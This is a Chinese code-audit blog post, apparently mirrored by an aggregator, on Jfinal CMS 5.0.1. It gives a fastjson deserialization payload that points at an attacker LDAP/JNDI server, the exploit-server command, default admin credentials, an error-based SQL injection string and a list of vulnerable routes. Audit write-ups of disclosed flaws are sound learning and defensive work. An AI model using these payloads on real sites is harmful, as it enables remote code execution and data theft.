【Java代码审计】Jfinal CMS
source link: https://fanygit.github.io/2022/10/07/[Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1]Jfinal%20CMS/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
学习代码审计,为了练手,在CNVD上找了一个存在漏洞的Jfinal CMS的系统来审计,Jfinal CMS 5.0.1这个版本中在存在一个fastjson反序列漏洞,但是需要登录到后台,而且套代码使用的人并不是很多,所以危害并不大。Jfinal CMS 5.1.0 则存在大量的sql注入漏洞,目前这个版本也是最新版。
CMS命令注入漏洞
Jfinal CMS 5.0.1
只是为了记录,省略部署过程。
在com.jflyfox.component.controller.Ueditor
进入到ActionEnter类中
ActionEnter类的初始化方法中调用了ConfigManager.getInstance
,进入ConfigManager
getInstance 创建了一个ConfigManager
,跟进ConfigManager中
调用了this.initEnv
方法,继续跟进
可以看到在该方法中调用了JSONObject.parseObject
,将json格式的字符串转换成对象。而该源码中使用的fastjson版本为1.2.28。
在https://mvnrepository.com/
网站中可以知道是存在fastjson反序列化漏洞的
而在JSONObject jsonConfig = JSONObject.parseObject(configContent);
这条触发fastjson反序列化语句中,我们需要控制configContent
的值,来触发反序列化。
可以通过点入ConfigManager.configFileName
查看读取的文件名
这个文件就是src/main/resources/config.json
文件
怎么去控制这个文件呢?
通过用户名admin
密码 admin123
进入后台
在本地准备一个内容为以下,文件名为config.json
的文件
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://ip:1389/xxx",
"autoCommit":true
}
}
在服务器起一个JNDI服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A ip
替换成上面构造的即可
接下来,只需要找一个会访问/ueditor
的路由,就会弹出计算器
成功执行。
Jfinal SQL注入漏洞
Jfinal CMS 5.0.1
按Shift+Ctrl+R
全局搜索/system/dict
存在漏洞的点
可以看到,拿到了attrVal
和orderBy
并未经过任何过滤,直接就 append
追加到sql语句中去了。
在这个页面中
什么都没有
随便点一下
or+extractvalue(1,concat(0x7e,(database())))#
成功爆出了数据库名。
以下路由的orderBy
参数均存在sql注入
/admin/advicefeedback
/admin/article
/admin/comment
/admin/contact
/admin/folder
/admin/foldernotice
/admin/folderrollpicture
/admin/friendlylink
/admin/imagealbum
/admin/site
/admin/videoalbum
/admin/video
/system/config
/system/department
/system/dict
/system/log
/system/menu
/system/role
/system/user
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK